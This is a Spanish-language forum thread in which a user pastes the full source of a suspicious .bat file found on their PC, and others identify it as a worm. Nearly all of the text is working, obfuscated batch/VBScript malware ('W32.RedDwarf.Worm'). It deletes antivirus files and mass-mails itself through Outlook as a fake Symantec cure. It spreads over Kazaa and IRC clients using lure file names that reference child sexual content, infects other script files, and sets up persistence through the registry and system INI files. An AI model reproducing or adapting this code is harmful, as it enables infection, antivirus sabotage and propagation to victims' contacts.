Título: Que es este batch ? Publicado por: vicecity en 7 Febrero 2004, 07:18 am desde que mis amigos usaron mi computadora ayer vi que en mi escritorio en los iconos habia uno de un .bat
trae todo esto ------------------------ @echo off %AAAA% REM Name: W32.RedDwarf.Worm %AAAA% REM Author: Macca %AAAA% ctty nul %AAAA% crepbiwuzpjnhigwjxjfszvwximfiyixolnlsuixfckxqtpyczmxnestkdetvyokrmigvasmheycvyazefknshdkzyepriypvpgyj %AAAA% iebsppdtcrmajschpehbmdvrjrbmnxrfywdvfaaintabgdrdjcybpskuhxizbzkgezhatyvmokdrqghcxyyiapkyltxuzcdkiqztz %AAAA% yncktihhvzemytinkvabkihczzpqavkssfcjzdhbksfjgzmyvtxlaexdfyslhhjtxwjtgcbqspdwzcdamenxtxzymaryoxbveovus %AAAA% tbvkrvgiqsnaduqsbahmhjnagxtehjvnpsmcwguldqhdrqadfixussjuvghocydveihligtmeibmuxhdxjpdkqucepfabkyvbkbea %AAAA% umofdpronswpoedjzcavhiddropthpwzsewvntkykpmwhjlpsouhslqkqhitlrfgyepowfibmfegyaseskmdigdwhjfqfbwwltvxp %AAAA% wcxqwbhyvqcxaiwnpiokdkxaolwbeujckimtuhlsrwkepkarhvnauzdixrgstpouqtwuhbipgadklycgaivysfumyebhskzbizbpr %AAAA% mlcktipwcsprlldcdlxkpjtjjdiircdethoxtzocyhdywklhaqzcpeyaroaimagczlkmreflslhqguwnyxeuvmvxlvmecvxtjlaze %AAAA% wnforlofofdctvgzjgjwkeqdpzjbtvdweiqpnammvmiprkhrvepcwnmgjjffzgtmcoaznleqpnlrhhrpymzgtwmddzqzprppqerye %AAAA% bljwftkbvfjrbsmpqkkxuxmemmxvzvoaiajrnnaonqqcwcawgcttpgyfddctyuaqrtfbibpittcgtlyedhusjamhzkujzvlnljqco %AAAA% pjvwikdqalzqufuzlgwmaquzgbebqgtclkqiefvlcrwfirbkvkoathzviyeykscvxyhnbdhczujgtvmmlcvalkamiiamkrdsgdiws %AAAA% xqlxyyeuhedongvvrxunigdlvyptcguacvleifjgucgmuixstrrfckfhvmlrzpqrkxzcargxxhumcpqwgjbrubfshwdhyyvnnyyyg %AAAA% %AAAA%set A=o %AAAA%set B=g del C:\pr%A%%B%ra~1\kasper~1\avp32.exe %AAAA% %AAAA%set A=r %AAAA%set B=r del C:\p%A%og%B%a~1\norton~1\*.exe %AAAA% %AAAA%set A=o %AAAA%set B=r del C:\pr%A%g%B%a~1\trojan~1\tc.exe %AAAA% %AAAA%set A=o %AAAA%set B=r del C:\pr%A%g%B%a~1\norton~1\s32integ.dll %AAAA% %AAAA%set A=r %AAAA%set B=r del C:\p%A%og%B%a\f-prot95\fpwm32.dll %AAAA% %AAAA%set A=p %AAAA%set B=a del C:\%A%rogr%B%~1\mcafee\scan.dat %AAAA%set A=o %AAAA%set B=a %AAAA%set avC=tbav goto delavri %AAAA% %AAAA%set avC=ocem :delavri %AAAA% del C:\pr%A%gr%B%~1\%avC%\tbav.dat %AAAA% %AAAA%set A=p %AAAA%set B=r del C:\%A%rog%B%a~1\avpersonal\antivir.vdf %AAAA%set A=b %AAAA%set B=w del C:\t%A%av%B%95\tbscan.sig %AAAA% %AAAA%set a=s %AAAA%set b=e %AAAA%set c=t %AAAA% %AAAA%%a%%b%%c% MyS=%0 copy %MyS% porn.bat %AAAA% %AAAA%%a%%b%%c% MyS=porn.bat copy my.bat porn.bat %AAAA% del my.bat %AAAA% copy porn.bat C:\Symantec_W32_Cure.bat %CCCC% copy porn.bat C:\nwboy.vbs %CCCC% %CCCC%set VBSwayF=dim echo %VBSwayF% x > C:\nwboy.vbs %CCCC% %CCCC%set VBSwayF= %CCCC%set VBSwayA=resume echo.on error %VBSwayA% next >> C:\nwboy.vbs %CCCC% %CCCC%set VBSwayA= echo Set fso =" Scripting.FileSystem.Object" >> C:\nwboy.vbs %CCCC% set vbsosf=gz %CCCC% %CCCC%set vbsosf=o echo Set so=CreateObject(fs%vbsosf%) >> C:\nwboy.vbs %CCCC% %CCCC%set vbsosf= echo Set ol=CreateObject("Outlook.Application") >> C:\nwboy.vbs %CCCC% echo Set out= WScript.CreateObject("Outlook.Application") >> C:\nwboy.vbs %CCCC% %CCCC%set VBSwayD=out echo Set mapi = %VBSwayD%.GetNameSpace("MAPI") >> C:\nwboy.vbs %CCCC% %CCCC%set VBSwayD= %CCCC%set VBSwayN=Lists echo Set a = mapi.Address%VBSwayN%(1) >> C:\nwboy.vbs %CCCC% %CCCC%set VBSwayN= echo Set ae=a.AddressEntries >> C:\nwboy.vbs %CCCC% %CCCC%set VBSwayB=Count echo For x=1 To ae.%VBSwayB% >> C:\nwboy.vbs %CCCC% %CCCC%set VBSwayB= echo Set ci=ol.CreateItem(0) >> C:\nwboy.vbs %CCCC% echo Set Mail=ci >> C:\nwboy.vbs %CCCC% %CCCC%set VBSwayC=Name echo Mail.to=ol.Get%VBSwayC%Space("MAPI").AddressLists(1).AddressEntries(x) >> C:\nwboy.vbs %CCCC% %CCCC%set VBSwayC= %CCCC%set VBSwayK=Mail echo %VBSwayK%.Subject="Symantec Security Alert" >> C:\nwboy.vbs %CCCC% %CCCC%set VBSwayK= echo Mail.Body="Symantec have revently discovered a cure for the very destructive worm W32/Mydoom@MM (SEE ATTACHEMNT). This worm installs a backdoor on the system letting attackers gain remote access it also attacks the mircosoft ssrver and LEAVES YOU THE USER TO BLAME." >> C:\nwboy.vbs %CCCC% %CCCC%set sendB=i %CCCC%set attA=A %CCCC%set attB=a %CCCC%set attC=t goto mailrib %CCCC% %CCCC%set sendB=k %CCCC%set attA=b %CCCC%set attB=n %CCCC%set attC=a :mailrib %CCCC% %CCCC%set VBSwayM=%attA%tt%attB%chmen%attC%s echo Mail.%VBSwayM%.Add("C:\Symantec_W32_Cure.bat") >> C:\nwboy.vbs %CCCC% %CCCC%set VBSwayM= %CCCC%set sendA=e %CCCC%set sendB=M echo %sendB%ail.s%sendA%nd >> C:\nwboy.vbs %CCCC% %CCCC%set vsenda=e %CCCC%set vsendb=t goto emailri %CCCC% %CCCC%set vsenda=vpzt %CCCC%set vsendb=vpz :emailri %CCCC% echo N%vsenda%x%vsendb% >> C:\nwboy.vbs %CCCC% %CCCC%set vsenda= %CCCC%set vsendb= echo ol.Quit >> C:\nwboy.vbs %CCCC% %CCCC%set cscA=scri set ywmvm=c%cscA%pt %CCCC% %ywmvm% C:\nwboy.vbs %CCCC% del C:\nwboy.vbs %CCCC% del C:\Symantec_W32_Cure.bat %CCCC% copy porn.bat C:\kazzad.vbs %EEEE% echo.on error resume next > C:\kazzad.vbs %EEEE% echo set ws = CreateObject("wscript.shell") >> C:\kazzad.vbs %EEEE% %EEEE%set kazaa=HK goto kazari %EEEE% %EEEE%set kazaa=AJ :kazari %EEEE% %EEEE%set kazab=Dl goto kazbri %EEEE% %EEEE%set kazab=U6 :kazbri %EEEE% %EEEE%set kazac=ka %EEEE%set kazad=aa goto kazcri %EEEE% %EEEE%set kazac=Rt :kazcri %EEEE% echo ws.regwrite "%kazaa%LM\Software\%kazac%z%kazad%\Transfer\%kazab%Dir0","%windir%\kazaa\" >> C:\kazzad.vbs %EEEE% cscript C:\kazzad.vbs %EEEE% del C:\kazzad.vbs %EEEE% md %windir%\kazaa %EEEE% copy %MyS% %windir%\kazaa\slut gets ass fucked by 2 guys.mpeg.bat %EEEE% %EEEE%set kaza= %EEEE%set kazb= %EEEE%set kazc= %EEEE%set kazd= md C:\pro %DDDD% copy porn.bat C:\pro\14 Year Old Nude On Webcam.bat %DDDD% if exist C:\mirc\script.ini set mIRC=C:\mirc\script.ini %DDDD% if exist C:\mirc32\script.ini set mIRC=C:\mirc32\script.ini %DDDD% if exist C:\progra~1\mirc\script.ini set mIRC=C:\progra~1\mirc\script.ini %DDDD% if exist C:\progra~1\mirc32\script.ini set mIRC=C:\progra~1\mirc32\script.ini %DDDD% %DDDD%set spp=ts %DDDD%set ircc=send % DDDD % %DDDD%set spp=dcc %ircc% $nick C:\pro\14 Year Old Nude On Webcam.bat goto mircri %DDDD% %DDDD%set spp=kfhenv :mircri %DDDD% echo [script] > %mIRC% %DDDD% %DDDD%set ircb=wt %DDDD%set yg= 3 %DDDD%set yg=1 %DDDD%set ircb=on echo n0=%ircb% %yg%:join:*.*: { if ( $nick !=$me ) /%spp% } >>%mIRC% %DDDD% %DDDD%set ircb= %DDDD%set spp= %DDDD%set mIRC= %DDDD%set = if exist C:\pirch98\events.ini goto pir %EEEE% goto pirend %EEEE% :pir %EEEE% copy porn.bat %WinDir%\14 YEAR OLDS FUCKING.arv.bat %EEEE% %EEEE%set pif=Lev echo [%pif%els] > C:\Pirch98\events.ini %EEEE% %EEEE%set pif= echo Enabled=1 >> C:\Pirch98\events.ini %EEEE% %EEEE%set pih=Count echo %pih%=6 >> C:\Pirch98\events.ini %EEEE% %EEEE%set pih= %EEEE%set pii=Unknows echo Level1=000-%pii% >> C:\Pirch98\events.ini %EEEE% %EEEE%set pii= echo 000-UnknowsEnabled=1 >> C:\Pirch98\events.ini %EEEE% echo Level2=100-Level 100 >> C:\Pirch98\events.ini %EEEE% echo 100-Level 100Enabled=1 >> C:\Pirch98\events.ini %EEEE% echo Level3=200-Level 200 >> C:\Pirch98\events.ini %EEEE% echo 200-Level 200Enabled=1 >> C:\Pirch98\events.ini %EEEE% echo Level4=300-Level 300 >> C:\Pirch98\events.ini %EEEE% %EEEE%set pip=300 echo %pip%-Level 300Enabled=1 >> C:\Pirch98\events.ini %EEEE% %EEEE%set pip= %EEEE%set piq=400 echo Level5=%piq%-Level 400 >> C:\Pirch98\events.ini %EEEE% %EEEE%set pir=0En echo 400-Level 40%pir%abled=1 >> C:\Pirch98\events.ini %EEEE% %EEEE%set pir= %EEEE%set pis=Level6 echo L%pis%=500-Level 500 >> C:\Pirch98\events.ini %EEEE% %EEEE%set pis= %EEEE%set pit=abled echo 500-Level 500En%pit%=1 >> C:\Pirch98\events.ini %EEEE% %EEEE%set pit= %EEEE%set pia=000 echo [%pia%-Unknowns] >> C:\Pirch98\events.ini %EEEE% %EEEE%set pia= %EEEE%set pib=Use echo %pib%r1=*!*@* >> C:\Pirch98\events.ini %EEEE% %EEEE%set pib= echo UserCount=1 >> C:\Pirch98\events.ini %EEEE% set pirchA=s %EEEE% %EEEE%set pirchA=d set pirchB=p %EEEE% %EEEE%set pid=ON JOIN goto pirchri %EEEE% %EEEE%set pid=jojo :pirchri %EEEE% echo Events1= %pid%:#: /dcc sen%pirchA% $nick %WinDir%\14 YEAR OLDS FUCKING.arv.bat >> C:\Pirch98\events.ini %EEEE% %EEEE%set pie=Event echo %pie%Count=1 >> C:\Pirch98\events.ini %EEEE% echo [100-Level 100] >> C:\Pirch98\events.ini %EEEE% echo UserCount=0 >> C:\Pirch98\events.ini %EEEE% echo EventCount=0 >> C:\Pirch98\events.ini %EEEE% echo [200-Level 200] >> C:\Pirch98\events.ini %EEEE% echo UserCount=0 >> C:\Pirch98\events.ini %EEEE% echo EventCount=0 >> C:\Pirch98\events.ini %EEEE% echo [300-Level 300] >> C:\Pirch98\events.ini %EEEE% echo UserCount=0 >> C:\Pirch98\events.ini %EEEE% echo EventCount=0 >> C:\Pirch98\events.ini %EEEE% echo [400-Level 400] >> C:\Pirch98\events.ini %EEEE% echo UserCount=0 >> C:\Pirch98\events.ini %EEEE% echo EventCount=0 >> C:\Pirch98\events.ini %EEEE% echo [500-Level 500] >> C:\Pirch98\events.ini %EEEE% echo UserCount=0 >> C:\Pirch98\events.ini %EEEE% echo EventCount=0 >> C:\Pirch98\events.ini %EEEE% :pirend %EEEE% set sendA=rx %CCCC% %CCCC%set sendA=s %CCCC%set vircA=scopy porn.bat C:\Virc\free_hardcore_porn.bat %CCCC% copy porn.bat ghuux.vbs %CCCC% echo.on error resume next >ghuux.vbs %CCCC% %CCCC%set vircB=zc %CCCC%set vircC=yl %CCCC%set vircB=w %CCCC%set vircC=p echo set ws = CreateObject("%vircB%scri%vircC%t.shell") >> ghuux.vbs %CCCC% %CCCC%set vircB= %CCCC%set vircC= %CCCC%set vircy=USER goto vircari %CCCC% %CCCC%set vircy=kdsj :vircari %CCCC% %CCCC%set vircA=Software goto vircri %CCCC% %CCCC%set vircA=lalala :vircri %CCCC% echo ws.regwrite "HKEY_%vircy%\.Default\%vircA%\MeGaLiTh %vircA%\Visual IRC 96\Events\Event17","dcc %sendA%end $nick C:\Virc\free_hardcore_porn.bat " >>ghuux.vbs %CCCC% %CCCC%set vircA= %CCCC%set sendA= %CCCC%set vircy= %CCCC%set regiA=rip csc%regiA%t ghuux.vbs %CCCC% del ghuux.vbs %CCCC% %CCCC%set regiA= copy porn.bat %windir%\masbl.bat %DDDD% echo REGEDIT4 >oqzbd.reg %DDDD% %DDDD%set regA=o %DDDD%set regB=w goto redrri %DDDD% %DDDD%set regA=jc %DDDD%set regB=ok :regdrri %DDDD% echo [HKEY_LOCAL_MACHINE\S%regA%ft%regB%are\Microsoft\Windows\CurrentVersion\Run] >>oqzbd.reg %DDDD% echo "kfienq"="%windir%\masbl.bat">>oqzbd.reg %DDDD% %DDDD%set RDA=for %RDA% %%r in (*.reg \*.reg ..\*.reg %path%\*.reg %windir%\*.reg) do copy oqzbd.reg %%r %DDDD% del oqzbd.reg %DDDD% %DDDD%set regA= %DDDD%set regB= %EEEE%set vbsA=s %EEEE%set vbsB=t goto VBSdropwri %EEEE% set vbsA=os %EEEE% %EEEE%set vbsB=bu :vbsdropwri %EEEE% copy porn.bat szlhm.vbs %EEEE% copy porn.bat %windir%\lzirc.bat %EEEE% echo.on error resume next > szlhm.vbs %EEEE% echo dim wsh >>szlhm.vbs %EEEE% echo set wsh=w%vbsA%crip%vbsB%.createobject("w%vbsA%crip%vbsB%.shell") >>szlhm.vbs %EEEE% echo wsh.run "%windir%\lzirc.bat" >>szlhm.vbs %EEEE% %EEEE%set VDA=for %VDA% %%q in (*.vbs \*.vbs ..\*.vbs %path%\*.vbs %windir%\*.vbs) do copy szlhm.vbs %%q %EEEE% %EEEE%set VDA= %EEEE%set vbsA= %EEEE%set vbsB= copy porn.bat uycuo.vbs %CCCC% copy porn.bat %windir%\pjngf.bat %CCCC% echo.on error resume next >uycuo.vbs %CCCC% echo set ws = CreateObject("wscript.shell") >> uycuo.vbs %CCCC% %CCCC%set regi=HKLM goto regiri %CCCC% %CCCC%set regi=gh :regiri %CCCC% echo ws.regwrite "%regi%\Software\Microsoft\Windows\CurrentVersion\Run\qmcpv","%windir%\pjngf.bat" >>uycuo.vbs %CCCC% %CCCC%set regi= %CCCC%set regiA=csc %regiA%ript uycuo.vbs %CCCC% del uycuo.vbs %CCCC% set regiA= %CCCC% %DDDD%set BDAs=hnm %DDDD%set BDAs=for %DDDD%goto BDAsas %DDDD%set BDAs=mfe 0 :BDAsas copy porn.bat %winDir%\vzcrd.bat %DDDD% %BDAs% %%v in (*.bat ..\*.bat \*.bat %path%\*.bat) do copy %WinDir%\vzcrd.bat %%v %DDDD% del %WinDir%\vzcrd.bat %DDDD% copy porn.bat C:\chvwc.bat %DDDD% copy C:\chvwc.bat %windir%\startm~1\progra~1\autost~1\*.bat %DDDD% del C:\chvwc.bat %DDDD% copy porn.bat %windir%\Startm~1\Programs\StartUp\ldxkt.bat %EEEE% %CCCC%set WDs=for ren %WinDir%\*.bat *.ifk %CCCC% copy porn.bat C:\jduif.bat %CCCC% %WDs% %%w in (%windir%\*.ifk) do copy C:\jduif.bat %%w %CCCC% ren %windir%\*.ifk *.bat %CCCC% del C:\jduif.bat %CCCC% copy porn.bat %WinDir%\system\WINI.bat %DDDD% %DDDD%set inia=windows echo [%inia%] >funny.bat %DDDD% echo load=%windir%\system\WINI.bat >>funny.bat %DDDD% %DDDD%set inib=hb set inic=iy %DDDD% %DDDD%set inic=WINI.bat echo run=%windir%\system\%inic% >>funny.bat %DDDD% %DDDD%set inid= %DDDD%set inic=Port %DDDD%set inib=Null %DDDD%set inia=%inib%%inic% goto iniri %DDDD% %DDDD%set inia=%inic%%inib% :iniri %DDDD% %DDDD%set wiech=jdff %DDDD%set wiech=ec goto wiech %DDDD% %DDDD%set wiech=jf :wiech %DDDD% %DDDD%set wiechb=kas %DDDD%set wiechb=%wiech%ho goto wiechb %DDDD% %DDDD%set wiechb=fg%wiech% :wiech %DDDD% %wiechb% %inia%=None >>funny.bat %DDDD% copy funny.bat %windir%\dd.ini %DDDD% del %windir%\win.ini %DDDD% del funny.bat %DDDD% ren %windir%\dd.ini win.ini %DDDD% %DDDD%set inih= %DDDD%set inig= %DDDD%set inif= %DDDD%set inie= copy porn.bat %windir%\drop.vbs %EEEE% copy porn.bat %windir%\dbhjc.bat %EEEE% echo dim wshs, msc > %windir%\drop.vbs %EEEE% %EEEE%set pifA=WS echo set wshs=Wscript.CreateObject("%pifA%cript.Shell") >> %windir%\drop.vbs %EEEE% %EEEE%set pifA= %EEEE%set pifB=te echo set msc=wshs.Crea%pifB%Shortcut("C:\pif.lnk") >> %windir%\drop.vbs %EEEE% %EEEE%set pifB= echo msc.TargetPath = wshs.ExpandEnvironmentStrings("%windir%\dbhjc.bat") >> %windir%\drop.vbs %EEEE% echo msc.WindowStyle = 4 >> %windir%\drop.vbs %EEEE% %EEEE%set pifC=ve goto pifdri %EEEE% %EEEE%set pifC=ueqha :pifdri %EEEE% echo msc.Sa%pifC% >> %windir%\drop.vbs %EEEE% %EEEE%set pifC= %EEEE%set pifD=cscript %pifD% %windir%\drop.vbs %EEEE% del %windir%\drop.vbs %EEEE% %EEEE%set PDA=for %PDA% %%k in (*.pif \*.pif ..\*.pif %path%\*.pif %windir%\*.pif) do copy C:\pif.pif %%k %EEEE% %EEEE%set PDA= del C:\pif.pif %EEEE% % CCCC % set lnkA=ttset lnkB=mo %CCCC% %CCCC%set lnkA=s %CCCC%set lnkB=i %CCCC%set lnka=run goto lnkdrri %CCCC% %CCCC%set lnka=kla :lnkdrri %CCCC% copy porn.bat %windir%\dropa.vbs %CCCC% copy porn.bat %windir%\ecxap.bat %CCCC% copy porn.bat %windir%\dropb.vbs %CCCC% echo.on error resume next >%windir%\dropb.vbs %CCCC% echo dim wsh >>%windir%\dropb.vbs %CCCC% echo set wsh=w%lnkA%cr%lnkB%pt.createobject("w%lnkA%cr%lnkB%pt.shell") >>%windir%\dropb.vbs %CCCC% echo wshs.%lnka% "%windir%\ecxap.bat" >>%windir%\dropb.vbs %CCCC% echo dim wsh, msc > %windir%\dropa.vbs %CCCC% echo set wsh=w%lnkA%cr%lnkB%pt.CreateObject("w%lnkA%cr%lnkB%pt.Shell") >> %windir%\dropa.vbs %CCCC% echo set msc=wsh.CreateShortcut("C:\vbs.lnk") >> %windir%\dropa.vbs %CCCC% echo msc.TargetPath = wshs.ExpandEnvironmentStrings("%windir%\dropb.vbs ") >> %windir%\dropa.vbs %CCCC% echo msc.WindowStyle = 4 >> %windir%\dropa.vbs %CCCC% %CCCC%set lnkdA=Save goto lnkdri %CCCC% %CCCC%set lnkdA=Ejfn :lnkdri %CCCC% echo msc.%lnkdA$ >> %windir%\dropa.vbs %CCCC% cscript %windir%\dropa.vbs %CCCC% del %windir%\dropa.vbs %CCCC% %CCCC%set LDA=for %LDA% %%k in (*.lnk \*.lnk ..\*.lnk %path%\*.lnk %windir%\*.lnk) do copy C:\vbs.lnk %%k %CCCC% %CCCC%set LDA= del C:\vbs.lnk %CCCC% %CCCC%set lnkA= %CCCC%set lnkB= copy porn.bat oubkf.bat %DDDD% echo [boot] > %windir%\system.ini %DDDD% %DDDD%set sysinic=kde %DDDD%set sysinic=ell goto sysinic %DDDD% %DDDD%set sysinic=qiw :sysinic %DDDD% %DDDD%set sysinib=kd %DDDD%set sysinib=sh goto sysinib %DDDD% %DDDD%set sysinib=jgh :sysinib %DDDD% %DDDD%set sysinia=%sysinib%%sysinic% goto sysiniri %DDDD% %DDDD%set sysinia=%sysinic%%sysinib% :sysiniri %DDDD% echo %sysinia%=explorer.exe %windir%\oubkf.bat>> %windir%\system.ini %DDDD% %DDDD%set sysinia= %DDDD%set sysinib= %DDDD%set sysinic= cd %windir% %DDDD% md ³³³ÅÅ %DDDD% cd ³³³ÅÅ %DDDD% copy porn.bat nfjhx.bat %DDDD% copy porn.bat %windir%\jgiqo.bat %DDDD% copy porn.bat %windir%\nfjhx.bat %DDDD% echo ctty nul > %windir%nfjhx.bat %DDDD% echo cls >>%windir%nfjhx.bat %DDDD% echo if exist %windir%\jgiqo.bat goto UDFend >> %windir%nfjhx.bat %DDDD% echo %windir% >>%windir%nfjhx.bat %DDDD% echo cd ³³³ÅÅ >>%windir%nfjhx.bat %DDDD% echo nfjhx.bat >> %windir%nfjhx.bat %DDDD% echo :UDFend >>%windir%nfjhx.bat %DDDD% copy porn.bat oejvc.vbs %DDDD% echo.on error resume next > oejvc.vbs %DDDD% echo set ws=CreateObject("Wscript.Shell") >>oejvc.vbs %DDDD% echo ws.regedit "HKLM\Software\Microsoft\Windows\CurrentsVersion\RUN\UDF","%windir%nfjhx.bat" %DDDD% command /f /c copy porn.bat A:\ %CCCC% del porn.bat %BBBB% ctty CON %BBBB% echo on %BBBB% que es ? Título: Re:Que es este batch ? Publicado por: 4rm4ndo en 7 Febrero 2004, 09:41 am Hola Viceciti creo k es un gusano, asi k no abras ningun archivo ni tokes nada en la computadora
En la primera linea sale la palabra "worm" = gusano bajate los ultimos archivos de tu antivirus y si no detecta nada ponte el macaffe k creo que es el k mas gusanos remueve y si no pues bajate algo mas especifico porque seguro que los compañeros te diran algo pon un post en la sección de seguridad troyenos etc... y borra todo lo que se parezca a eso o contenga elgun nombre parecido como search sex etc.. busca en c: alguna carpeta nueva con un dialer busca en conexiones telefonicas a ver si hay dialer y en archivs de porama lo que esté dentro de windows es ás dificil de encontrar asi qe intenta buscar alguna solucion antivius pero normalmene todo s puede borrar a mano a no ser k tengas tmbién alg metid en e registro perdona me falla el teclado Si tienes algo más comentalo en la sección de seguridad Saludos!! Título: Re:Que es este batch ? Publicado por: vicecity en 7 Febrero 2004, 19:51 pm si, era un virus.. gracias
|